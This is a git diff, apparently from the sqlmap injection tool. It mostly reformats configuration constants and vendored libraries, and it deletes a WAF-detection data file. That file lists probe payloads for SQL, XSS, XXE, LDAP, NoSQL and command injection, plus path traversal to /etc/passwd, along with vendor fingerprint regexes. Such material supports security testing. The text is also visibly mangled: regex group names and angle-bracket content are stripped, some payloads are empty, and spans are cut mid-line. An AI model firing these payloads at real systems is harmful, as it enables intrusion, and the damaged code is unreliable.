-GOOGLE_CONSENT_COOKIE = "CONSENT=YES+shp.gws-%s-0-RC1.%s+FX+740" % (time.strftime("%Y%m%d"), "".join(random.sample(string.ascii_lowercase, 2))) +GOOGLE_CONSENT_COOKIE = "CONSENT=YES+shp.gws-%s-0-RC1.%s+FX+740" % ( +time.strftime("%Y%m%d"), "".join(random.sample(string.ascii_lowercase, 2))) # Regular expression used for extracting results from DuckDuckGo search DUCKDUCKGO_REGEX = r') + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle") -PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb") +PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ( +"cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", +"yugabytedb") ORACLE_ALIASES = ("oracle", "orcl", "ora", "or") SQLITE_ALIASES = ("sqlite", "sqlite3") ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet") @@ -319,12 +341,22 @@ FRONTBASE_ALIASES = ("frontbase",) RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis") VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso") -DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) +DBMS_DIRECTORY_DICT = dict( + (getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES) +SUPPORTED_DBMS = set( + MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES) SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES)) +DBMS_ALIASES = ( +(DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), +(DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), +(DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), +(DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), +(DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), +(DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), +(DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), +(DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") @@ -343,7 +375,9 @@ CACHE_DEFAULT_SCHEMA = "SQLUser" PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE)) # Names that can't be used to name files on Windows OS -WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") +WINDOWS_RESERVED_NAMES = ( +"CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", +"LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") # Items displayed in basic help (-h) output BASIC_HELP_ITEMS = ( @@ -402,7 +436,9 @@ CURRENT_USER = "CU" SESSION_SQLITE_FILE = "session.sqlite" # Regular expressions used for finding file paths in error messages -FILE_PATH_REGEXES = (r"(?P[^<>]+?) on line \d+", r"\bin (?P[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P/\w[/\w.~-]+)", r"\bhref=['\"]file://(?P/[^'\"]+)", r"\bin (?P[^<]+): line \d+") +FILE_PATH_REGEXES = (r"(?P[^<>]+?) on line \d+", r"\bin (?P[^<>'\"]+?)['\"]? on line \d+", + r"(?:[>(\[\s])(?P[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P/\w[/\w.~-]+)", + r"\bhref=['\"]file://(?P/[^'\"]+)", r"\bin (?P[^<]+): line \d+") # Regular expressions used for parsing error messages (--parse-errors) ERROR_PARSING_REGEXES = ( @@ -431,7 +467,9 @@ JAVASCRIPT_HREF_REGEX = r'", - "XSS::\\\";alert('XSS');//", - "XSS::1' onerror=alert(String.fromCharCode(88,83,83))>", - "XSS::var n=0;while(true){n++;}]]>", - "XSS::", - "XSS::javascript:alert(/XSS/)", - "XSS::", - "XPATHi::' and count(/*)=1 and '1'='1", - "XPATHi::count(/child::node())", - "XPATHi::' and count(/comment())=1 and '1'='1", - "XPATHi::' or '1'='1", - "XXE::]>&xxe;", - "LDAPi::admin*)((|userpassword=*)", - "LDAPi::user=*)(uid=*))(|(uid=*", - "LDAPi::*(|(objectclass=*))", - "NOSQLi::true, $where: '1 == 1'", - "NOSQLi::{ $ne: 1 }", - "NOSQLi::' } ], $comment:'success'", - "PHPi::", - "ACE::netstat -antup | grep :443; ping 127.0.0.1; curl http://www.google.com", - "PT:://///.htaccess", - "PT::/etc/passwd", - "PT::../../boot.ini", - "PT::C:/inetpub/wwwroot/global.asa" - ], - "wafs": { - "360": { - "company": "360", - "name": "360", - "regex": "493|/wzws-waf-cgi/", - "signatures": [ - "9778:RVZXum61OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTC", - "9ccc:RVZXum61OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZjxtDtAeq+c36A4chW1XaTC" - ] - }, - "aesecure": { - "company": "aeSecure", - "name": "aeSecure", - "regex": "aesecure_denied\\.png|aesecure-code: \\d+", - "signatures": [ - "8a4b:RVdXu260OEhCWapBYKcPk4JzWOtohM4JiUcMrmRXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZnxtDtBeq+c36A4chW1XaTD" - ] - }, - "airlock": { - "company": "Phion/Ergon", - "name": "Airlock", - "regex": "The server detected a syntax error in your request", - "signatures": [ - "3e2c:RVZXu261OEhCWapBYKcPk4JzWOtohM4IiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXomtKaK59n+i6c4RmkwI2FZjxtDtAeq6c36A5chW1XaTD" - ] - }, - "alertlogic": { - "company": "Alert Logic", - "name": "Alert Logic", - "regex": "(?s)timed_redirect\\(seconds, url\\).+?

Reference ID:", - "signatures": [] - }, - "aliyundun": { - "company": "Alibaba Cloud Computing", - "name": "AliYunDun", - "regex": "Sorry, your request has been blocked as it may cause potential threats to the server's security|//errors\\.aliyun\\.com/", - "signatures": [ - "e082:RVZXum61OElCWapAYKYPkoJzWOpohM4JiUYMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC" - ] - }, - "anquanbao": { - "company": "Anquanbao", - "name": "Anquanbao", - "regex": "/aqb_cc/error/", - "signatures": [ - "c790:RVZXum61OElCWapAYKYPk4JzWOpohM4JiUYMr2RXg1uQJbX3uhdOn9hsOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", - "d3d3:RVZXum61OElCWapAYKYPk4JzWOpohM4JiUYMr2RXg1uQJbX3uhdOn9hsOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC" - ] - }, - "approach": { - "company": "Approach", - "name": "Approach", - "regex": "Approach.+?Web Application (Firewall|Filtering)", - "signatures": [ - "fef0:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A5chW1XKTD" - ] - }, - "armor": { - "company": "Armor Defense", - "name": "Armor Protection", - "regex": "This request has been blocked by website protection from Armor", - "signatures": [ - "03ec:RVZXum60OEhCWapBYKYPk4JzWOtohM4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c36A4chS1XaTC", - "1160:RVZXum60OEhCWapBYKYPk4JyWOtohM4IiUcMr2RWg1qQJbX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC" - ], - "note": "Uses SecureSphere (Imperva) (Reference: https://www.imperva.com/resources/case_studies/CS_Armor.pdf)" - }, - "asm": { - "company": "F5 Networks", - "name": "Application Security Manager", - "regex": "The requested URL was rejected\\. Please consult with your administrator|security\\.f5aas\\.com", - "signatures": [ - "2f81:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI3FZjxtDtAeq+c36A4chS1XaTC", - "4fd0:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq6c3qA4chS1XaTC", - "5904:RVZXum60OEhCWapBYKcPk4JzWOpohc4IiUcMr2RWg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq+c3qA4chS1XaTC", - "8bcf:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq6c36A5chS1XaTC", - "540f:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq+c36A5chS1XaTC", - "c7ba:RVZXum60OEhCWKpAYKYPkoJzWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXomtLaK99n+i7c4VmkwI3FZjxtDtAeq6c3qA4chS1XaTC", - "fb21:RVZXum60OEhCWapBYKcPk4JzWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI3FZjxtDtAeq+c36A5chW1XaTC", - "b6ff:RVZXum61OEhCWapBYKcPkoJzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq+c36A4chW1XaTC", - "3b1e:RVZXum60OEhCWapBYKcPk4JyWOpohM4IiUcMr2RWg1qQJLX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tKaK99nui7c4RmkgI2FZjxtDtAeq6c3qA5chS1XKTC", - "620c:RVZXum60OEhCWapBYKcPkoJzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTC", - "b9a0:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq+c3qA4chW1XaTC", - "ccb6:RVdXum61OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtTtAeq+c36A5chW1XaTC", - "9138:RVZXum60OEhCWapBYKcPk4JzWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq6c3qA4chS1XaTC", - "54cc:RVZXum61OEhCWapBYKcPkoJzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq6c3qA4chS1XaTC", - "4c83:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4VmkwI3FZjxtDtAeq+c36A5chW1XaTC", - "8453:RVZXum60OEhCWapBYKcPk4JzWOtohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI3FZjxtDtAeq+c36A4chS1XaTC" - ] - }, - "astra": { - "company": "Czar Securities", - "name": "Astra", - "regex": "(?s)unfortunately our website protection system.+?//www\\.getastra\\.com", - "signatures": [] - }, - "aws": { - "company": "Amazon", - "name": "AWS WAF", - "regex": "(?i)HTTP/1.+\\b403\\b.+\\s+Server: aws|(?s)Request blocked.+?Generated by cloudfront", - "signatures": [ - "2998:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", - "fffa:RVZXum60OEhCWapAYKYPk4JyWOpohc4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPhJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", - "9de0:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhZOnthtOj+hXrAA16BcPhJOdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", - "34a8:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhdOn9htOj+hXrAB16BcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", - "1104:RVZXum61OEhCWapBYKcPk4JzWOpohM4IiUcMr2RXg1uQJbX3uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", - "ea40:RVZXu261OEhCWapBYKcPk4JzWOtohM4IiUcMr2RWg1uQJbX3uhdOn9htOj+hXrAB16BcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC" - ] - }, - "barracuda": { - "company": "Barracuda Networks", - "name": "Barracuda", - "regex": "\\bbarracuda_|barra_counter_session=|when this page occurred and the event ID found at the bottom of the page| [key, prev, next] + end += [None, end, end] # sentinel node for doubly linked list + self.__map = {} # key --> [key, prev, next] dict.clear(self) def __setitem__(self, key, value): diff --git a/thirdparty/prettyprint/__init__.py b/thirdparty/prettyprint/__init__.py index 1f9e14343..fdec0c056 100644 --- a/thirdparty/prettyprint/__init__.py +++ b/thirdparty/prettyprint/__init__.py @@ -1,26 +1,26 @@ #!/usr/bin/env python -#Copyright (c) 2010, Chris Hall -#All rights reserved. +# Copyright (c) 2010, Chris Hall +# All rights reserved. -#Redistribution and use in source and binary forms, with or without modification, -#are permitted provided that the following conditions are met: +# Redistribution and use in source and binary forms, with or without modification, +# are permitted provided that the following conditions are met: -#* Redistributions of source code must retain the above copyright notice, -#this list of conditions and the following disclaimer. -#* Redistributions in binary form must reproduce the above copyright notice, -#this list of conditions and the following disclaimer in the documentation -#and/or other materials provided with the distribution. +# * Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. -#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR -#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR +# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. pass diff --git a/thirdparty/prettyprint/prettyprint.py b/thirdparty/prettyprint/prettyprint.py index 586d80811..a4c084d7e 100644 --- a/thirdparty/prettyprint/prettyprint.py +++ b/thirdparty/prettyprint/prettyprint.py @@ -1,97 +1,105 @@ #!/usr/bin/env python -#Copyright (c) 2010, Chris Hall -#All rights reserved. +# Copyright (c) 2010, Chris Hall +# All rights reserved. -#Redistribution and use in source and binary forms, with or without modification, -#are permitted provided that the following conditions are met: +# Redistribution and use in source and binary forms, with or without modification, +# are permitted provided that the following conditions are met: -#* Redistributions of source code must retain the above copyright notice, -#this list of conditions and the following disclaimer. -#* Redistributions in binary form must reproduce the above copyright notice, -#this list of conditions and the following disclaimer in the documentation -#and/or other materials provided with the distribution. +# * Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. -#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR -#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR +# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. from xml.dom import minidom from xml.dom import Node + def format(text): - doc = minidom.parseString(text) - root = doc.childNodes[0] - return root.toprettyxml(indent=' ') + doc = minidom.parseString(text) + root = doc.childNodes[0] + return root.toprettyxml(indent=' ') + def formatXML(doc, encoding=None): - root = doc.childNodes[0] - return root.toprettyxml(indent=' ', encoding=encoding) + root = doc.childNodes[0] + return root.toprettyxml(indent=' ', encoding=encoding) + def _patch_minidom(): - minidom.Text.writexml = _writexml_text - minidom.Element.writexml = _writexml_element - minidom.Node.toprettyxml = _toprettyxml_node + minidom.Text.writexml = _writexml_text + minidom.Element.writexml = _writexml_element + minidom.Node.toprettyxml = _toprettyxml_node + def _collapse(node): - for child in node.childNodes: - if child.nodeType == Node.TEXT_NODE and len(child.data.strip()) == 0: - child.data = '' - else: - _collapse(child) + for child in node.childNodes: + if child.nodeType == Node.TEXT_NODE and len(child.data.strip()) == 0: + child.data = '' + else: + _collapse(child) + def _writexml_text(self, writer, indent="", addindent="", newl=""): - minidom._write_data(writer, "%s"%(self.data.strip())) + minidom._write_data(writer, "%s" % (self.data.strip())) + def _writexml_element(self, writer, indent="", addindent="", newl=""): - # indent = current indentation - # addindent = indentation to add to higher levels - # newl = newline string - writer.write(indent+"<" + self.tagName) + # indent = current indentation + # addindent = indentation to add to higher levels + # newl = newline string + writer.write(indent + "<" + self.tagName) - attrs = self._get_attributes() - a_names = attrs.keys() - a_names.sort() + attrs = self._get_attributes() + a_names = attrs.keys() + a_names.sort() - for a_name in a_names: - writer.write(" %s=\"" % a_name) - minidom._write_data(writer, attrs[a_name].value) - writer.write("\"") - if self.childNodes: - if self.childNodes[0].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0: - writer.write(">") - else: - writer.write(">%s"%(newl)) - for node in self.childNodes: - node.writexml(writer,indent+addindent,addindent,newl) - if self.childNodes[-1].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0: - writer.write("%s" % (self.tagName,newl)) - else: - writer.write("%s%s" % (indent,self.tagName,newl)) + for a_name in a_names: + writer.write(" %s=\"" % a_name) + minidom._write_data(writer, attrs[a_name].value) + writer.write("\"") + if self.childNodes: + if self.childNodes[0].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0: + writer.write(">") else: - writer.write("/>%s"%(newl)) - -def _toprettyxml_node(self, indent="\t", newl="\n", encoding = None): - _collapse(self) - # indent = the indentation string to prepend, per level - # newl = the newline string to append - writer = minidom._get_StringIO() - if encoding is not None: - import codecs - # Can't use codecs.getwriter to preserve 2.0 compatibility - writer = codecs.lookup(encoding)[3](writer) - if self.nodeType == Node.DOCUMENT_NODE: - # Can pass encoding only to document, to put it into XML header - self.writexml(writer, "", indent, newl, encoding) + writer.write(">%s" % (newl)) + for node in self.childNodes: + node.writexml(writer, indent + addindent, addindent, newl) + if self.childNodes[-1].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0: + writer.write("%s" % (self.tagName, newl)) else: - self.writexml(writer, "", indent, newl) - return writer.getvalue() + writer.write("%s%s" % (indent, self.tagName, newl)) + else: + writer.write("/>%s" % (newl)) + + +def _toprettyxml_node(self, indent="\t", newl="\n", encoding=None): + _collapse(self) + # indent = the indentation string to prepend, per level + # newl = the newline string to append + writer = minidom._get_StringIO() + if encoding is not None: + import codecs + # Can't use codecs.getwriter to preserve 2.0 compatibility + writer = codecs.lookup(encoding)[3](writer) + if self.nodeType == Node.DOCUMENT_NODE: + # Can pass encoding only to document, to put it into XML header + self.writexml(writer, "", indent, newl, encoding) + else: + self.writexml(writer, "", indent, newl) + return writer.getvalue() + _patch_minidom() diff --git a/thirdparty/pydes/pyDes.py b/thirdparty/pydes/pyDes.py index 05cb1adc8..4a37d2f07 100644 --- a/thirdparty/pydes/pyDes.py +++ b/thirdparty/pydes/pyDes.py @@ -90,13 +90,14 @@ import sys _pythonMajorVersion = sys.version_info[0] # Modes of crypting / cyphering -ECB = 0 -CBC = 1 +ECB = 0 +CBC = 1 # Modes of padding PAD_NORMAL = 1 PAD_PKCS5 = 2 + # PAD_PKCS5: is a method that will unambiguously remove all padding # characters after decryption, when originally encrypted with # this padding mode. @@ -105,748 +106,749 @@ PAD_PKCS5 = 2 # The base class shared by des and triple des. class _baseDes(object): - def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): - if IV: - IV = self._guardAgainstUnicode(IV) - if pad: - pad = self._guardAgainstUnicode(pad) - self.block_size = 8 - # Sanity checking of arguments. - if pad and padmode == PAD_PKCS5: - raise ValueError("Cannot use a pad character with PAD_PKCS5") - if IV and len(IV) != self.block_size: - raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") + def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): + if IV: + IV = self._guardAgainstUnicode(IV) + if pad: + pad = self._guardAgainstUnicode(pad) + self.block_size = 8 + # Sanity checking of arguments. + if pad and padmode == PAD_PKCS5: + raise ValueError("Cannot use a pad character with PAD_PKCS5") + if IV and len(IV) != self.block_size: + raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") - # Set the passed in variables - self._mode = mode - self._iv = IV - self._padding = pad - 